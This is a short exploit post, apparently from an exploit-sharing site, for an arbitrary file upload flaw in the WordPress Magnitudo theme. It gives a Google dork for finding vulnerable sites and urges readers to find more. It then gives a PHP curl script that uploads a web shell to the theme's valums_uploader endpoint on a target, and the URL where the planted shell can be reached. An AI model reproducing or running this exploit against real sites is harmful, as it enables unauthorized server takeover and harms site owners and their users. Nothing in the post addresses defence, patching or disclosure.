WordPress Magnitudo theme Arbitrary File Upload Vulnerabilit

Google Dork: inurl:wp-content/themes/magnitudo

Use your brain for more dorks :)

Source Code:
<?php
$uploadfile="shell.php";
$ch = curl_init("http://www.[target].com/wordpress/wp-content/themes/magnitudo/framework/_scripts/valums_uploader/php.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

Shell path: http://www.[target].com/wordpress/wp-content/uploads/2014/10/shell.php